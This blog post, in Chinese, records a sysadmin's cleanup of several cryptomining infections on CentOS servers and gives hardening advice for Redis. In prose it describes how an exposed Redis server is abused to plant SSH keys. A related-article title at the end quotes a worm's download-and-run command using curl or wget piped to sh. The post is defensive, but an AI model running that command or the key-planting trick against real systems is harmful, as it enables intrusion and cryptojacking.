因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案。

服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异常进程,当然有一些挖矿病毒稍微高级一些,比如pamdicks,它的进程是隐藏的,通过unhide命令或者使用sysdig命令可以查看。

挖矿病毒的特点:

1、文件/定时任务删除失败-------------------文件只读属性保护

2、文件/定时任务删完又出现-----------------系统文件替换/下载进程残留

3、病毒进程刚刚删完又被拉起---------------恶意进程守护

4、主机严重卡顿但找不到挖矿进程-----------系统命令劫持

5、主机杀干净后一段时间又出现病毒---------ssh&漏洞再次入侵

当服务器中挖矿病毒后,很有可能系统命令被黑客替换,导致执行某系统命令时,有可能执行被黑客注入到服务器的恶意程序,所以服务器上最好提前安装个busybox。

1、  pnscan

比较有名的挖矿蠕虫病毒,攻击手段为通过redis感染服务器,如果redis的端口为默认的6379且暴露在公网上,且没有设置客户端连接密码认证,很容易感染,这个病毒是分级别的,好在我遇到的是比较简单的,解决方法如下
(1)首先通过busybox top查看pnscan的路径,

(2)删除pnscan,可能文件是只读的,不能被删除,需要通过busybox lsattr 文件名查看文件的属性,一般属性是-a或者-i,然后执行busybox chattr –a/-i 文件名更改文件属性后即可删除

(3)杀掉pnscan相关进程

2、rshim

挖矿病毒的一种,常见于以root用户启动redis服务,并且redis使用默认端口,导致6379端口被攻击。解决方法跟pnscan差不多,在查找文件和进程的时候,发现由hilde用户执行,在home目录下多了个hilde目录,里面创建了免密登录的公钥,需要hilde整个目录删除,之后执行userdel –r hilde删除该用户

图片没截全,简单看看就行

3、[scan]

这个具体不清楚是什么病毒,看网上说也是通过redis进行攻击的,本次cpu占满也是因为这个进程,解决方案跟上面相似,也是先查路径,再删文件,再杀进程。通过查看它的文件,我们可以看到如下图所示的代码。

通过它的脚本看到redis-cli –h….相关的代码,查看进程发现果然多了一个redis-cli的进程。具体是什么作用,这里不做研究,只知道要把脚本删掉,把这个进程杀掉就可以了。

然后我在查看磁盘空间的时候,发现根目录磁盘使用情况不太正常,推测应该是被脚本恶意生成了隐藏文件,我进入到根目录下ls –a查看,发现多出了很多如下图所示的文件。

都是.r.*这种格式的文件,查了一下发现这种文件有四万多个,果断删掉,把这些文件删掉后,再查看磁盘使用情况,已经正常了。

4、pamdicks

这是我之前工作就遇到过的挖矿木马,也是第一个遇到的,当时没什么经验,弄到很晚,这里有朋友圈为证

可以看出来啊,这个木马特别的猛啊,8核的cpu瞬间干满,不断启动pamdicks进程,服务器不断重启,操作起来特别卡。解决方案就是删除原文件,并创建一个顶包空文件,然后使用系统chattr对其进行锁定禁止修改。命令如下。

rm -rf /usr/bin/pamdicks /bin/pamdicks

touch /usr/bin/pamdicks /bin/pamdicks

chattr +i /usr/bin/pamdicks /bin/pamdicks

然后再杀进程就可以了。

本次服务器被入侵,被人植入了密钥文件,导致入侵者可以免密登录服务器,在redis中看到了一个很奇怪的key,它的value的意思是一个定时任务通过curl下载某个sh脚本,并执行,看到网上的一位博主,总结的很好,它总结的原因如下。

1.redis没有做任何安全措施,直接暴露在公网,任何redis客户端都可以直接连接。

2.被恶意的连接连接上后,在他的机器上生成ssh秘钥,然后set到redis中,最后使用redis的config命令,将默认RDB方式出来的dump.rdb文件修改为authorized_keys,然后把文件的目录设置到/root/.ssh下。

3.这样一来,就非常危险了,攻击者可以直接ssh到你的linux主机,接下来,root账户,为所欲为。被挖矿也就不稀奇了。

建议:redis一定要设强密码,改端口,端口尽量不要对外开放。

不要以为在外网redis的端口不通就没有事情。只要内网里有机器感染了病毒,就可以继续感染。

挖矿病毒分析(centos7)的更多相关文章

  1. [FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告

    Trojan.Miner.gbq挖矿病毒分析报告 https://www.freebuf.com/articles/network/196594.html 竟然还有端口转发... 这哥们.. 江民安全 ...

  2. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  3. 挖矿病毒DDG的分析与清除

    注:以下所有操作均在CentOS 7.2 x86_64位系统下完成. 今天突然收到“阿里云”的告警短信: 尊敬的****:云盾云安全中心检测到您的服务器:*.*.*.*(app)出现了紧急安全事件:挖 ...

  4. 挖矿病毒、ddos入侵流程及溯源

    一 挖矿病毒简介  攻击者利用相关安全隐患向目标机器种植病毒的行为. 二 攻击方式 攻击者通常利用弱口令.未授权.代码执行.命令执行等漏洞进行传播.示例如下: 示例1:   POST /tmUnblo ...

  5. Window应急响应(四):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降,电脑温度升 ...

  6. Linux应急响应(三):挖矿病毒

    0x00 前言 ​ 随着虚拟货币的疯狂炒作,利用挖矿脚本来实现流量变现,使得挖矿病毒成为不法分子利用最为频繁的攻击方式.新的挖矿攻击展现出了类似蠕虫的行为,并结合了高级攻击技术,以增加对目标服务器感染 ...

  7. 5.Windows应急响应:挖矿病毒

    0x00 前言 随着虚拟货币的疯狂炒作,挖矿病毒已经成为不法分子利用最为频繁的攻击方式之一.病毒 传播者可以利用个人电脑或服务器进行挖矿,具体现象为电脑CPU占用率高,C盘可使用空间骤降, 电脑温度升 ...

  8. 记一次生产主机中挖矿病毒"kintegrityds"处理过程!

    [记一次生产挖矿病毒处理过程]: 可能性:webaap用户密码泄露.Jenkins/redis弱口令等. 1.监控到生产主机一直load告警 2.进服务器 top查看进程,发现挖矿病毒进程,此进程持续 ...

  9. Windows Azure Virtual Machine (39) 清除Linux挖矿病毒

    <Windows Azure Platform 系列文章目录> 1.之前客户遇到了Azure Linux CPU 100%,症状如下: 2.SSH登录到Linux,查看crontab,有从 ...

随机推荐

  1. 【Jenkins】基于Windows系统安装Jenkins

    镜像下载.域名解析.时间同步请点击阿里云开源镜像站 一.Jenkins简介 Jenkins是一款开源 CI&CD 软件,用于自动化各种任务,包括构建.测试和部署软件. Jenkins 支持各种 ...

  2. Python 局域网主机存活扫描

    #! python # -*- coding: utf-8 -*- __author__ = 'Deen' import os import threading import argparse # 从 ...

  3. EasyUI 之datagrid 使用 【DataGrid属性解释】

    可选的参数 DataGrid 属性 覆写了 $.fn.datagrid.defaults. 参数名 类型 描述 默认值 title string Datagrid面板的标题 null iconCls ...

  4. BZOJ3159: 决战(FHQ Treap)

    传送门: 解题思路: 算是补坑了,这题除了Invert以外就可以树剖线段树解决了. 考虑Invert操作,延续先前树链剖分的做法,考虑先前算法的瓶颈. 最暴力的方法是暴力交换权值,然而这种方法忽略了当 ...

  5. java反射笔记(学习尚硅谷java基础教程)

    反射一.概述:Reflection Reflection(反射)是被视为动态语言的关键,反射机制允许程序在执行期借助于Reflection API取得任何类的内部信息,并能直接操作任意对象的内部属性 ...

  6. ubuntu16.04启动ssh服务

    1 查看ssh服务是否开启 ps -e | grep ssh* 2如果没有则安装ssh apt-get install openssh-server openssh-client 3再看服务就有ssh ...

  7. Jenkins+Docker+Git 自动化部署

    Jenkins+Docker+Git 自动化部署图文教程 https://blog.csdn.net/qq_38252039/article/details/89791247 前言: 通过几天的学习和 ...

  8. eclipse启动指定jvm的版本

    参阅:https://www.eclipse.org/forums/index.php/t/1105435/ https://wiki.eclipse.org/Eclipse.ini#-vm_valu ...

  9. 使用conda管理python环境和包

    操作系统:CentOS7使用virtualenv管理python虚拟环境virtualenv是一款轻量级第三方虚拟环境管理工具,不像Anaconda大小达上百M,virtualenv大小只有10M左右 ...

  10. 关于 DispatcherServlet.properties 文件

    1.文件位置 2.文件内容 3.文件作用 前端控制器会从 DispatcherServlet.properties 文件中加载 HandlerMapping(处理器映射器).HandlerAdapte ...